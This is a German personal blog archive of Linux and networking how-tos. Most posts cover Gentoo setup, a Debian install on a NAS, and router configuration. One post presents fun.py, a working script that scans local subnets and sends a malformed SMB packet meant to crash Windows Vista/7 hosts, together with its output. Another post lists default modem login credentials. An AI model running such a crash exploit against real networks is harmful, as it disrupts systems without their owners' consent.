Posts gespeichert unter 'OpenSource / Linux'

Accessing Allnet 0333B DSL Modem Configuration Page via DD-WRT

I recently found out that my cheap DSL modem (Allnet 0333B) which i bought because the one that was provided by my ISP broke down, has a configuration page which shows the line status. It can easily access by adding a private ip to the wan interface of the router. Execute the the following on your router (e.g. via ssh or execute form on the webinterface)
ifconfig `nvram get wan_ifname`:0 172.16.1.250 netmask 255.255.255.0
iptables -t nat -I POSTROUTING -o `nvram get wan_ifname` -j MASQUERADE

Now the modem can be reached from the LAN:

~# ping 172.16.1.254 -c 1
PING 172.16.1.254 (172.16.1.254) 56(84) bytes of data.
64 bytes from 172.16.1.254: icmp_req=1 ttl=254 time=26.2 ms

--- 172.16.1.254 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 26.211/26.211/26.211/0.000 ms

Login via:

http://172.16.1.254:8235/cgi-bin/webcm

admin / coolwhite

telnet://172.16.1.254
root / coolwhite

(can be obtained from the GPL sources)

The funny thing is, the officially as modem announced device can be configured as full router with advanced features like portforwarding, access control, QoS etc.

last but not least, my (poor) line status:

schritt 1

bisher 1 Kommentar Mo, 21. Jun 2010 um 19:11 Uhr Christian

Ich sollte lernen!

Das kommt dabei raus:

oxygen-mobile:~ python fun.py
scanning subnet 192.168.1.3/24
 
sending exploit to 192.168.1.3 # Samba
 
sending exploit to 192.168.1.13 # Vista
 
pwnd 192.168.1.13
 
sending exploit to 192.168.1.14 # Windows 7

fun.py:

#!/usr/bin/python
 
from socket import socket,error
from time import sleep
from os import popen
 
for ownip in popen("LANG=C ip addr | grep 'inet ' | grep -v ' lo' | awk '{print $2}'").readlines():
        print("scanning subnet %s" %ownip )
        for neighborip in popen(" LANG=C nmap -n -sX --open -p445 %s |grep 'Interesting ports' | awk '{ print $4}' | tr -d ':' " %ownip.strip() ).readlines():
                print("sending exploit to %s" %neighborip)
                host = neighborip, 445
                buff = (
                "\x00\x00\x00\x90"
                "\xff\x53\x4d\x42" 
                "\x72\x00\x00\x00" 
                "\x00\x18\x53\xc8" 
                "\x00\x26"
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
                "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
                "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
                "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
                "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
                "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
                "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
                "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
                "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
                "\x30\x30\x32\x00"
                )
                try:
                        s = socket()
                        s.settimeout(1.0)
                        s.connect(host)
                        s.send(buff)
                        s.close()
                except error, msg:
                        continue
                sleep(2)
                try:
                        s = socket()
                        s.settimeout(1.0)
                        s.connect(host)
                        s.close()
                except  error, msg:
                        print("pwnd %s" %neighborip)

jetzt kommentieren? Do, 10. Sep 2009 um 18:30 Uhr Christian

Debian Lenny auf dem DNS-323

debian logo

Wie die meisten Leser meines Blogs wohl wissen werden, ich bin kein Freund von Debian. Aber in der Not frisst der Teufel fliegen. Debian ist wohl die einzige general purpose Distribution die armv5tel als Architektur offiziell unterstützt.

Seit mittlerweile einem Jahr habe ein D-Link DNS-323 NAS Gerät [0]. Soweit war ich auch immer mehr oder weniger zufrieden. Dank fun_plug konnte man eigene Software installieren und war soweit recht flexibel. In meinem Fall handelte es sich dabei insbesondere um mediatomb und cups. Ein paar Sachen waren aber doch störend. Der von der Original Firmware benutzter Kernel beherrschte kein inotify (doof für mediatomb), die Partitionierung war sehr eingeschränkt und erlaubte nur ext2 als Dateisystem. smartmon funktionierte leider auch nicht.
Vor kurzem habe ich aber dann erfahren dass Martin Michlmayr [1] ein Debian Installer für den DNS-323 entwickelt hat. Bei der Installation wird die Firmware temporär durch ein netboot Image des Debian Installer ersetzt der dann am Ende der Installation Debian Kernel und initrd in den Flash ROM speichert.
Ich hatte doch etwas Bauchweh bei dem Gedanken daran die Originial Firmware komplett zu ersetzen, außerdem war in der Anleitung [2] davon die Rede dass die Platten bei der Installation formatiert würden, was ich vermeiden wollte, knapp 500 GB Daten sind nicht so leicht zu sichern. Nach einer Rückfrage wie es mit einer Installation auf einem USB Stick aussieht (hatte meine fun_plug Software bis jetzt auch auf nem USB-Stick, damit der HD Spindown klappt) bekam ich als Antwort dass ich doch bitte während der Installation die Platten entfernen sollte und nach der Installation wieder einbauen. Damit hätte sich auch das Problem mit der Formatierung erledigt. Ich vermute, dass hätte ich mir auch sparen können, da die Experteninstallation genügend Optionen hinsichtlich Partitionierung bot. Anderseits habe ich nicht die geringste Idee wie der Bootloader funktioniert. Der Installer empfahl bei einem 4 GB USB Stick nur 172 MB Swap. Das kam mir etwas wenig vor, aber es reicht. Ansonsten hätte ich halt händisch ein Swapfile angelegt.

Aber Hauptsache alles lief glatt. Auch wenn ich sehr lange Zeit kein Debian mehr installiert hatte, machte mir die Experten Installation keinerlei Probleme und lies keine Fragen offen. Nur sehr lange hatte es gedauert, ca 3 Stunden. Aber kein Wunder bei DSL2000, 64 MB Ram und 500 Mhz. Schlussendlich stand mir aber trotzdem wirklich der Schweiß auf der Stirn ob das System nun bootet, aber es lief einwandfrei. siehe:

oxygen-nas:~# cat /etc/debian_version
5.0.2
oxygen-nas:~# uname -a
Linux oxygen-nas 2.6.30-1-orion5x #1 Sun Jul 19 01:26:48 UTC 2009 armv5tel GNU/Linux
oxygen-nas:~# cat /proc/mdstat
Personalities : [raid1]
md0 : active raid1 sdc1[1] sdb1[0]
      732571904 blocks [2/2] [UU]
unused devices: <none>
 
oxygen-nas:~# # df -h -t ext3
Dateisystem          Größe Benut  Verf Ben% Eingehängt auf
/dev/sda2             3,4G  1,3G  2,0G  40% /
/dev/md0              688G  468G  221G  68% /storage

Selbst die RAID Konfiguration der beiden Platten wurde nach dem Einbau und der Installation von mdadm direkt erkannt und übernommen. Leider hatte ich das zu spät gemerkt und eine Platte bereits neupartitioniert. Aber meine Daten sind natürlich noch da, ich habe dann einfach die ursprüngliche RAID1 Partition gemountet und die Daten auf die neupartitionierte Platte kopiert. Auch das hat wieder sehr lange gedauert. 5 Stunden würde ich schätzen. Nachdem ich dann auch die 2 Platte gemountet hatte, konnte ich das RAID1 dann zusammen fügen (vgl [3]). Die RAID Recovery hat interessanterweise viel weniger Zeit in Anspruch genommen, nur knapp eine Stunde.
Zusätzliche habe ich noch den aktualisierten Kernel [4] installiert. Auch hier beim Flashen und anschließendem Reboot wieder Schweißperlen auf der Stirn. Aber apt / dpkg haben gute Arbeit geleistet, alles lief perfekt.
Zur Sicherheit habe ich mir direkt ein Backup vom USB-Stick angelegt, den ohne bootet das System nun gar nicht mehr. Sonderlich zuverlässig sind die heute allesamt nicht mehr. Sonst hätte ich nur noch einen ziemlich teuren Briefbeschwerer. Eine Rettung wäre zwar theoretisch über ein spezielles Konsolenkabel [5] möglich, jedoch habe ich nicht die Möglichkeit ein solches herzustellen und kenne auch niemand der eins besitzt.

Alle wichtigen Funktionen funktionieren einwandfrei, dazu gehören unter anderem:

  • samba
  • nfs
  • mediatomb [6] (mit ffmpegthumbnailer und inotify Support!, d.h. jetzt habe ich im PS3 Menü sogar eine Videovorschau und brauch nicht mehr manuell die Datenbank aktuallisieren lassen)
  • firefly media server [7] aka mt-daapd
  • cups (mein Laserjet 1010 hängt dran, es lässt sich sowohl von Vista als auch Gentoo aus einwandfrei drucken)
  • Lüfter-Steuerung
  • HD Spindown
  • smartmon
  • Avahi (mit Unterstützung für cups, samba, SSH)

Hier noch meine /etc/fancontrol:

# Configuration file generated by pwmconfig, changes will be lost
INTERVAL=30
FCTEMPS=hwmon0/device/pwm1=hwmon1/device/temp1_input
FCFANS=hwmon0/device/pwm1=hwmon0/device/fan1_input
MINTEMP=hwmon0/device/pwm1=40
MAXTEMP=hwmon0/device/pwm1=56
MINSTART=hwmon0/device/pwm1=40
MINSTOP=hwmon0/device/pwm1=2
MAXPWM=hwmon0/device/pwm1=255

UPDATE:Scheinbar ist die Nummerierung der hwmon Devices bei jedem Bootvorgang zufällig. Ich habe nun eine fancontrol.0 und fancontrol.1 mit jeweils vertauschten hwmon0 / hwmon1 Einträgen, die ich nach einen Reboot händisch umkopieren muss.

Die Performance ist mit der Originalfirmware vergleichbar. Samba Transfers pendeln sich in der Regel bei 9-12 MB/s ein. Vorher kam ich maximal auf 13 MB/s. Das wird durch die zusätzlichen Funktionen aber mehr als wett gemacht.

Siehe:
[0] http://wiki.dns323.info/
[1] http://www.cyrius.com/journal
[2] http://www.cyrius.com/debian/orion/d-link/dns-323/install.html
[3] http://wiki.con-victo.de/cgi-bin/moin.cgi/howto_Linux_Software_Raid1_mit_mdadm
[4] http://www.cyrius.com/journal/debian/orion/d-link/dns-323/dns-323-fan-control
[5] http://wiki.dns323.info/hardware:serial
[6] http://mediatomb.cc/
[7] http://www.fireflymediaserver.org/

bisher 12 Kommentare Fr, 07. Aug 2009 um 17:12 Uhr Christian

logrotate auf lzma umstellen

Gentoo:

euse --enable lzma; emerge -uDN world

Debian / Ubuntu:

aptitude install lzma

dann folgendes in der /etc/logrotate.conf einfügen:

compress
compresscmd /usr/bin/lzma
uncompresscmd /usr/bin/unlzma
compressext .lzma

zum schluss noch alte .gz Logfiles entsorgen. Fertig.

jetzt kommentieren? Fr, 10. Jul 2009 um 10:56 Uhr Christian


System zu einer bestimmten Uhrzeit abschalten:

echo "poweroff" | at 7:50 10.12.2008

(0)


Platte voll?

Irgendwie wurde meine Platte immer voller und voller, ohne ersichtlichen Grund. Mit Filelight bin ich dann mal auf die Suche gegangen und habe ein paar durch aus erstaunliche Entdeckungen gemacht:

# ls /home/*/.xsession-errors -lsh
5,7G -rw------- 1 christian users 5,7G 1. Okt 14:04 /home/christian/.xsession-errors

# du "/home/christian/.wine/drive_c/Program Files/" -sh
1,3G /home/christian/.wine/drive_c/Program Files/

du "/home/christian/.local/share/Trash/" -sh
1,5G /home/christian/.local/share/Trash/

du /var/log/portage/ -sh
3,5G /var/log/portage

uff

jetzt kommentieren? Mi, 01. Okt 2008 um 14:18 Uhr Christian

how-to: jumbo frames

Was sind Jumbo Frames?
Normalerweise liegt die maximale Paketgröße (MTU) für Ethernet bei 1500 Bytes (ohne Header). Als Jumbo Frames werden größere Pakete bezeichnet, typischerweise 9.000-9.180 oder 4.100 Bytes groß.

Was bringen Jumbo Frames?
Gleiche Datenmenge bei weniger Paketen bedeutet weniger Protokoll-Overhead und weniger CPU Belastung der Geräte. Insbesondere für Geräte wie SOHO-NAS-Server ist das interessant, da diese über eine schwache CPU verfügen. Dementsprechend kann man die Jumbo Frame Unterstützung bei manchen NAS Server direkt im Webinterface aktivieren.

Wie braucht man für Jumbo Frames?
Alle Geräte im Netzwerk sollten Jumbo Frames unterstützen. Eine Liste kompatibler Geräte findet sich bei [1].
Beim Routing allerdings werden dank MTU Path Discovery die Pakete fragmentiert, dass heißt über einen normalen Router kommt man natürlich trotzdem weiterhin ins Internet.

Wie benutzt Jumbo Frames?
Unter Windows (Konsole als Administrator ausführen):

C:\Windows\system32>netsh interface ipv4 set subinterface "LAN-Verbindung" mtu=9
000 store=persistent

Bei manchen Netzwerkkarten kann man Jumbo Frames auch in den Geräteoptionen aktivieren.

Linux (siehe auch [2]):

ifconfig eth0 mtu 9000

Überprüfen ob Jumbo Frames übertragen werden können:

C:\Users\Christian>ping -f -l 9000 192.168.1.3

Ping wird ausgeführt für 192.168.1.3 mit 9000 Bytes Daten:
Antwort von 192.168.1.3: Bytes=9000 Zeit=1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64

Ping-Statistik für 192.168.1.3:
    Pakete: Gesendet = 4, Empfangen = 4, Verloren = 0 (0% Verlust),
Ca. Zeitangaben in Millisek.:
    Minimum = 0ms, Maximum = 1ms, Mittelwert = 0ms

-f sorgt dafür, dass das Ping-Paket nicht fragmentiert wird.

[1] Jumbo Frame Clean Gear: http://darkwing.uoregon.edu/~joe/jumbo-clean-gear.html
[2] Gentoo Tipp - Jumbo Frames: http://gentoo-wiki.com/TIP_Jumbo_Frames
[3] Small Net Builders - Need To Know: Jumbo Frames in Small Networks http://www.smallnetbuilder.com/content/view/30201/54/

bisher 2 Kommentare So, 27. Apr 2008 um 18:57 Uhr Christian

1-liner: eMail-Adressen an user@domain.de aus Postfix log extrahieren

 
zgrep "orig_to=<user@domain.de>" /var/log/mail.log.?.gz | egrep -o "[A-F0-9]{8}" | sort | uniq | xargs --replace=STR zgrep "STR" mail.*.gz | grep -o -P "[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}" | egrep -v "[A-F0-9]{8}"| sort -f | uniq -c | sort -nr > email-adressen.txt

Recht lahm aber funktioniert.

bisher 1 Kommentar Mo, 07. Apr 2008 um 10:29 Uhr Christian


Mar 18 09:12:15 ipx11839 eth0: PCI Bus error 0290.

… und Schüss mit der Konnektivität.
Google rät noapic nolapic als Kernel-Parameter zu verwenden. Mal sehen obs hilft.

Update: Mainboard war laut IPX defekt und wurde getauscht. Das hat sich zwar etwas hingezogen aber immerhin wurde mir keine Neuinstallation aufgezwungen, geschweige denn eine Rechnung gestellt. (0)


Yeah. -march=core2, -mcpu=cell

portage tree aktuallisieren:

emerge --sync

für gcc:4.3 und Abhängigkeiten keywords setzten:
/etc/portage/package.keywords/toolchain.keywords:

sys-devel/binutils **
sys-devel/gcc **
sys-libs/glibc **
sys-kernel/linux-headers **
dev-libs/mpfr ~x86
dev-libs/gmp ~x86

Abhängigkeiten und gcc aktualisieren:

emerge -u dev-libs/gmp dev-libs/mpfr sys-devel/gcc

make.conf bearbeiten:

CFLAGS="-march=core2 -O2 -pipe"

bzw. für die PS3:

CFLAGS="-mcpu=cell -mabi=altivec -O2"

Basissystem inkl. Toolchain neukompilieren:

emerge -e system

Fertig.

bisher 1 Kommentar Mo, 17. Mrz 2008 um 22:20 Uhr Christian

verbessertes und übersetztes Mediatomb import.js

Auf meinem DNS-323 habe ich den UPnP-AV Server Mediatomb [1] installiert. Mediatomb hat gegenüber anderen Servern den Vorteil, dass man die Ordnerstruktur nach den eigenen Vorstellungen erzeugen kann. Die geschieht mit Hilfe eines Javascripts, dass beim Importieren von Dateien aufgerufen wird. Hier mal meine Variante: import.js. Sie erzeugt deutschsprachige Ordner (Künstler statt Artist) und zusätzlich werden Filme, Musik und Fotos noch nach den Ordnern sortiert in denen sie auch im Dateisystem liegen. Am Anfang der Datei befinden sich 3 Variablen in den man den Ordnername eintragen sollte, in dem sich die entsprechenden Dateien befinden. So sortiert Mediatomb z.B. Dateien die sich in /mnt/HD_a2/Freigabe/Filme/Horror befinden, in Filme/Horror ein, wenn man als Filmordner Filme einträgt. Das ganze ist nicht auf eine Ordnerebene beschränkt.
[1] http://mediatomb.cc/

bisher 4 Kommentare Mo, 17. Mrz 2008 um 00:23 Uhr Christian

KDE: Ansicht -> Anzeigemodus -> Radialansicht

radial ansicht

Ich benutze schon seit Jahren KDE. Aber ein sehr cooles feature hab ich erst vor ein paar Tagen entdeckt (oder erst dann das nötige Plugin/Modul installiert, ich weiß es nicht) und zwar die Radialansicht. Der Screenshot sagt hier mehr als tausend Worte. Hoffentlich gibt es diese feature auch noch in KDE4. Das wollte ich demnächst mal antesten.

Die Frage wird zwar aufkommen, aber ich konnte leider bis jetzt nicht rausfinden, welches Paket diese Funktion zur Verfügung stellt.
UPDATE:

emerge kde-misc/filelight

bisher 1 Kommentar Do, 13. Mrz 2008 um 12:58 Uhr Christian

spam. revisited

cd /var/amavis/quarantine
rm spam-*
/bin/rm: Argument list too long.

Huch?

ls | wc -l
128926

Ui.

time nice -n 19 find /var/amavis/quarantine/ -name "spam-*.gz" | xargs zcat >> /var/spam-mbox-2006-2007
 
real    23m50.562s
user    0m17.353s
sys     0m15.173s
 
ls -lah /var/spam-mbox
-rw-r--r-- 1 root root 627M Feb 15 20:18 /var/spam-mbox-2006-2007
 
ls /var/amavis/quarantine/spam-* | xargs rm -rf

Tschö.

Also wenn mal jemand was Futter für sa-learn braucht…

bisher 2 Kommentare Fr, 15. Feb 2008 um 22:01 Uhr Christian

ACPI unter Kernel 2.6.24

Vor kurzem habe ich sys-kernel/gentoo-sources-2.6.24 installiert, noch ein paar Patches hinzugefügt (unter anderem Linux-PHC und TuxOnIce), konfiguriert und installiert. Lief eigentlich alles wie am Schnürchen, selbst der splashscreen mit dem neuen uvesafb funktioniert. Nach ein paar Stunden fiel mir aber dann auf, dass klaptopdaemon nicht gestartet wurde und die Stromsparmechanismen aus den KDE Menüs verschwunden waren. Musste wohl der Kernel sein. Folgende Einstellungen halfen dann:

Power management options  ---> ACPI (Advanced Configuration and Power Interface) Support
[*]   Deprecated /proc/acpi files
[*]   Deprecated power /proc/acpi folders
[*]   Deprecated /proc/acpi/event support

Manchmal wundert es mich schon, wie schnell im IT Bereich Entwicklungen innerhalb weniger Monate/Jahre von bleeding-edge zu state-of-the-art aufsteigen nur um wenig später doch wieder deprecated zu sein.

bisher 2 Kommentare Mo, 04. Feb 2008 um 19:47 Uhr Christian

NetworkManager und Gentoo

So. NetworkManager (kurz NM) fand ich irgendwie immer merkwürdig. Es gehört zu Gnome und das Binary heißt “NetworkManager”, tatsächlich groß geschrieben. Das war bis jetzt Abschreckung genug. Aber irgendwie bin ich es nun Leid andauernd /etc/conf.d/net, wpa_supplicant.conf und vpnc.conf‘s zu bearbeiten. NetworkManager sollte das alles können. So bringt man ihn unter Gentoo ordentlich ans laufen:

# unstable ebuilds verwenden
echo "dev-libs/libnl ~x86" >> /etc/portage/package.keywords
echo "net-misc/networkmanager-vpnc ~x86" >> /etc/portage/package.keywords
echo "net-misc/networkmanager-openvpn ~x86" >> /etc/portage/package.keywords
echo "kde-misc/knetworkmanager ~x86" >> /etc/portage/package.keywords
 
# nicht Rootuser die Benutzung von NM erlauben
usermod -a -G plugdev USER
# nötige useflags aktivieren
euse --enable "crypt dbus hal"
# Für vpnc Unterstützung:
euse --enable "cisco"
# Für OpenVPN Unterstützung:
euse --enable "openvpn"
 
# NetworkManager bzw. dbus erwartet dhclient und nicht dhcpcd. 
# Achtung /etc/conf.d/net wird überschrieben!
echo 'modules=( "dhclient" "!plug" )' > /etc/conf.d/net
 
# minimale dhclient Konfiguration schreiben:
cat > /etc/dhcp/dhclient.conf << "EOF"
send dhcp-lease-time 7200;
timeout 10;
EOF
 
# Network-Manager installieren
emerge networkmanager
# nach Geschmack
emerge knetworkmanager
 
rc-update add NetworkManager default
 
/etc/init.d/dbus restart
/etc/init.d/net.* restart
/etc/init.d/NetworkManager start

Wie gut das ganze funktioniert werde ich die nächsten Tage mal berichten.

UPDATE: seit net-misc/networkmanager-0.6.5_p20080130 funktioniert auch mit libnl-1.1.

bisher 1 Kommentar Mi, 30. Jan 2008 um 22:56 Uhr Christian

vpnc und dd-wrt

Johannes hat letzte Woche über DD-WRT und VPNC gebloggt. Damit ist es möglich den VPN Client auf einem von DD-WRT unterstützten Router (Linksys WRT54G & Co) zu installieren und die VPN Verbindung von mehreren PCs (oder anderen Geräten wie PDAs) zu teilen.
Anmerkung: vom RZ ist dies nicht erwünscht. Außerdem ist es wie Johannes schreibt nicht gerade schnell, “nur” ~ 200 kb/s auf einem WRT54G/WRT54GL. Ich nutzte das auch nur damit alle Rechner den vom RZ zur Verfügung gestellten Sophos Virusscanner aktuallisieren können, was nur über die VPN Verbindung funktioniert. Hierfür auf jedem Rechner den VPN Client zu installieren und laufen zu lassen, erscheint mir nicht gerade sinnvoll. Verschwendung der knappen IP-Adressen und das umgehen des Paketfilters des Routers sprechen dagegen.
Die Lösung wie sie im DD-WRT Wiki beschrieben ist, funktioniert zwar, allerdings ist der Shell-Code meiner Meinung nach ziemlich hässlich. Am Ende des Posts habe ich mal meine Variante eingefügt.
Aber erstmal noch eine Kurzanleitung:
1. Router mit v24 DD-WRT VPN Version flashen (aktuell ist v24 RC6.2)
2. Allgemeine Routereinstellungen machen
3. Shell Code bei Administration -> Commands einfügen, Kennung und Passwort ersetzen und Save Startup anklicken
4. Router neustarten

mkdir /tmp/etc/vpnc
 
cat > /tmp/etc/vpnc/vpnc.conf << "EOF"
Interface name vpnlink
IKE DH Group dh2
Perfect forward Secrecy nopfs
IPSec gateway vpn.rwth-aachen.de
IPSec ID Extern
IPSec secret external
Xauth username TIM-Kennung
Xauth password TIM-Passwort
EOF
 
cat > /tmp/etc/vpnc/vpnc.sh << "EOF"
#!/bin/sh 
 
while [ true ]
	do
	vpnc --no-detach --non-inter /tmp/etc/vpnc/vpnc.conf
	sleep 3
	done
EOF
 
sleep 120
 
/bin/sh /tmp/etc/vpnc/vpnc.sh &
 
sleep 30
 
iptables -A FORWARD -o vpnlink -j ACCEPT
iptables -A FORWARD -i vpnlink -j ACCEPT
iptables -t nat -A POSTROUTING -o vpnlink -j MASQUERADE

bisher 3 Kommentare So, 13. Jan 2008 um 21:46 Uhr Christian

iwlwifi unter Gentoo

UPDATE: Anleitung für ipw4965 angepasst.
UPDATE 2: iwlwifi wird in 2.6.24 aufgenommen. (http://www.heise.de/newsticker/meldung/97300)

Für die Intel 3945ABG/4965ABGN WLAN Adapter gibt es zusätzlich zum bekannten ipw3945/ipw4965 einen neuen Treiber, der ohne die Verwendung des ipw3945d/ipw4965d Deamons auskommt. Er nennt sich iwl. Dieser befindet sich zwar noch im Beta Stadium, funktioniert bei mir aber schon einwandfrei. So wird er unter Gentoo installiert:
portage Tools installieren:

emerge -u layman gentoolkit

Sunrise Overlay hinzufügen:

layman -a sunrise

iwlwifi und Abhängigkeiten unmasken:

echo "net-wireless/mac80211 ~x86" >> /etc/portage/package.keywords
echo "net-wireless/iwlwifi ~x86" >> /etc/portage/package.keywords
echo "net-wireless/iwlwifi" >> /etc/portage/package.unmask


für den 3945′er Chipsatz:

echo "net-wireless/iwl3945-ucode" >>  /etc/portage/package.keywords
euse --enable ipw3945

für 4965:

echo "net-wireless/iwl4965-ucode" >>  /etc/portage/package.keywords
euse --enable ipw4965

Pakete hohlen:

emerge -f iwlwifi

ipw3945 deinstallieren:

/etc/init.d/ipw3945d stop
rmmod ipw3945
emerge -C net-wireless/ipw3945-ucode net-wireless/ipw3945d net-wireless/ipw3945-ucode net-wireless/ipw3945

iwlwifi installieren:

emerge iwlwifi

Rebooten. Fertig. udev sollte das Modul automatisch laden. Kontrollieren ob man wirklich iwlwifi benutzt kann man mit:

dmesg | grep iwl
iwl3945: Intel(R) PRO/Wireless 3945ABG/BG Network Connection driver for Linux, 0.0.34d
iwl3945: Copyright(c) 2003-2007 Intel Corporation
iwl3945: Detected Intel PRO/Wireless 3945ABG Network Connection

Weitere Infos: http://intellinuxwireless.org/

bisher 2 Kommentare Sa, 30. Jun 2007 um 13:02 Uhr Christian

powertop

Wenn man unter Linux die Akkulaufzeit erhöhen will, hat man ausgesprochen viele Einstellmöglichkeiten. Insbesondere einige kryptische Kerneloptionen bieten einiges Potenzial. Es gibt ein Programm das hierfür wirklich nützliches Tipps gibt. Teilweise lassen sich features/options sogar direkt per Tastendruck aktivieren, z.B. Stromspareinstellungen für den WLAN Adapter.
z.B.

Vorschlag: Deaktivieren Sie die Option CONFIG_IRQBALANCE Ihres Kernels.
Der Kernel-eigene Irqbalancer ist veraltet und ineffizient.

powertop

Dieses Programm heißt powertop. Ich kann es wirklich nur jedem empfehlen. Zusätzlich finden sich auf der Website noch weitere nützliches Tipps: http://www.linuxpowertop.org/known.php
siehe auch: Thomas&Helenas Trashblog – Stromparen unter Linux… leichter gemacht

jetzt kommentieren? Fr, 15. Jun 2007 um 20:56 Uhr Christian

badblocks howto

Ich hab hier noch eine alte 40GB 2,5″ Platte, die ich für Backups und Datentransport nutzen wollte. Dafür reicht sie allemal. Da sie doch schon etwas älter ist, wollte ich sie vorher mal durch testen. Da sich der smartstatus leider über USB nicht auslesen lässt, musst dafür badblocks herhalten. Hier dazu eine komplette Anleitung.

erstmal habe ich mit fdisk eine einzelne FAT32 Partition erstellt. Auch wenn es Mist ist, aber zum Austausch von Daten führt leider kein Weg an FAT32 vorbei.
Hier handelt es sich bei /dev/sdc um die entsprechende Festplatte. Im Zweifel dmesg konsultieren.

fdisk /dev/sdc

Die Anzahl der Zylinder für diese Platte ist auf 4864 gesetzt.
Daran ist nichts verkehrt, aber das ist größer als 1024 und kann
in bestimmten Konfigurationen Probleme hervorrufen mit:
1) Software, die zum Bootzeitpunkt läuft (z. B. ältere LILO-Versionen)
2) Boot- und Partitionierungssoftware anderer Betriebssysteme
(z. B. DOS FDISK, OS/2 FDISK)
Befehl (m für Hilfe): o
Erstelle neue DOS-Bootsektoren. Die Änderungen werden vorerst nur im Speicher
gemacht, bis Sie sich entscheiden, sie zu schreiben. Danach ist natürlich der
vorherige Inhalt unrettbar verloren.
Befehl (m für Hilfe): n
Befehl Aktion
e Erweiterte
p Primäre Partition (1-4)
p
Partitionsnummer (1-4): 1
Erster Zylinder (1-4864, Vorgabe: 1): ENTER
Benutze den Standardwert 1
Letzter Zylinder oder +Größe, +GrößeK oder +GrößeM (1-4864, Vorgabe: 4864): ENTER
Benutze den Standardwert 4864
Befehl (m für Hilfe): t
Partition 1 ausgewählt
Der Dateisystemtyp der Partition 1 ist nun c (W95 FAT32 (LBA))

Befehl (m für Hilfe): w
Die Partitionstabelle wurde verändert!

Rufe ioctl() um Partitionstabelle neu einzulesen.

WARNUNG: Wenn Sie eine DOS 6.x Partition angelegt
oder verändert haben, dann schauen Sie bitte in die
fdisk-manual-Seite nach weiteren Informationen
Synchronisiere Platten.

Als nächstes wird die Platte komplett auf Herz und Nieren geprüft. Also sucht euch für die nächste(n) Stunde(n) etwas anderes zu tun. Das System kann natürlich nebenbei weiter verwendet werden.

VORSICHT: badblocks -w zerstört eventuell vorhandene Daten!
Es werden alle Blöcke 4 mal mit verschiedenen Mustern überschrieben. Es eignet sich somit auch zum sicheren löschen von Daten.
Wenn man badblocks auf einer Partition mit vorhandenen Daten verwenden will, sollte man -n verwenden.

-o badblocks speichert die fehlerhaften in der Datei badblocks. Diese Datei wird später beim erstellen des Dateisystems verwendet.

badblocks -ws -o badblocks /dev/sdc1

Teste mit Muster 0xaa: done

nun wird die FAT32 Partition erstellt:

mkfs.vfat -l badblocks -F 32 /dev/sdc1

Fertig. Nur nebenbei: Die Platte war vollkommen in Ordnung.

bisher 5 Kommentare Do, 24. Mai 2007 um 19:05 Uhr Christian

i++ vs. ++i

Nach einer interessanten Diskussion im IRC stellte sich mir heute die Frage:

$i = 1;
$i += ++$i + $i++;
print $i;

Was ist i?

Ergebnis:

Es hängt von der Implementierung ab.

C++: 7
PHP: 7
Perl: 8
Java: 5

Meine spontane Antwort war 5… ich dachte ich würde in C++ denken… aber vielleicht doch eher in Java ;)

bisher 10 Kommentare So, 23. Jul 2006 um 17:07 Uhr Christian

aktueller Desktop

So. Mir ist aufgefallen, dass meine letzten Beiträge wieder mal viel Text und wenig Farbe enthielten. Also wollte ich das ganze mal mit einem aktuellen Screenshot von meinem Desktop aufheitern. Vielleicht interessiert es ja irgendwen ;) Screenshot

bisher 5 Kommentare So, 21. Mai 2006 um 21:40 Uhr Christian

dev-php5/pecl-filter

Manchmal sieht mal wohl den Wald vor lauter Zusammenhangskomponenten nicht mehr. Seit ein paar Wochen ärgere ich mich über WordPress, weil es jeglichem Markup in den Beiträgen beim Speichern verschluckt… nun ist mir aber aufgefallen, das phpMyAdmin das gleiche Verhalten zeigt. Zufall? Wohl kaum.
Das Problem war, dass ich mal per cd /usr/portage; emerge dev-php5/pecl-* alle PECL Extensions für PHP installiert hab, nach dem Motto man kanns ja vielleicht mal gebrauchen. Mit am Start war dann:

# eix dev-php5/pecl-filter
* dev-php5/pecl-filter
Available versions: 0.9.4
Installed: 0.9.4
Homepage: http://pecl.php.net/filter
Description: Extension for safely dealing with input parameters.

Sobald es aktiviert ist, filtert es jeglichen Markup aus jeglichem PHP Input. Naja, nächstes mal les ich genau, was ich so installiere….

bisher 1 Kommentar Do, 11. Mai 2006 um 17:01 Uhr Christian

Ubuntu in Gentoo installieren (Folge 4 – Desktop)

Erstmal wünsche ich allen LeserInnen frohe Ostern!
Heute geht es weiter mit dem Einrichten der Desktop Umgebung. Erst wird ein Upgrade auf Dapper durchgeführt, dann die nötigen Desktop Pakete installiert und am Schluss wird ein zusätzlicher X-Server auf dem Host System konfiguriert um die Ausgabe des UML Ubuntus zu übernehmen.

Jetzt führen wir erstmal das geplant Upgrade auf Dapper Drake durch. Dazu müssen nur die apt sourcen angepasst werden (natürlich im Ubuntu UML)
/etc/apt/sources.list:

deb http://archive.ubuntulinux.org/ubuntu dapper main

Dann noch “schnell” apt-get update && apt-get dist-upgrade ausführen und schon hat man Dapper installiert.

Das komplette Ubuntu wie man es von einer CD installieren würde, gibts per:

aptitude -y install ubuntu-standard ubuntu-desktop

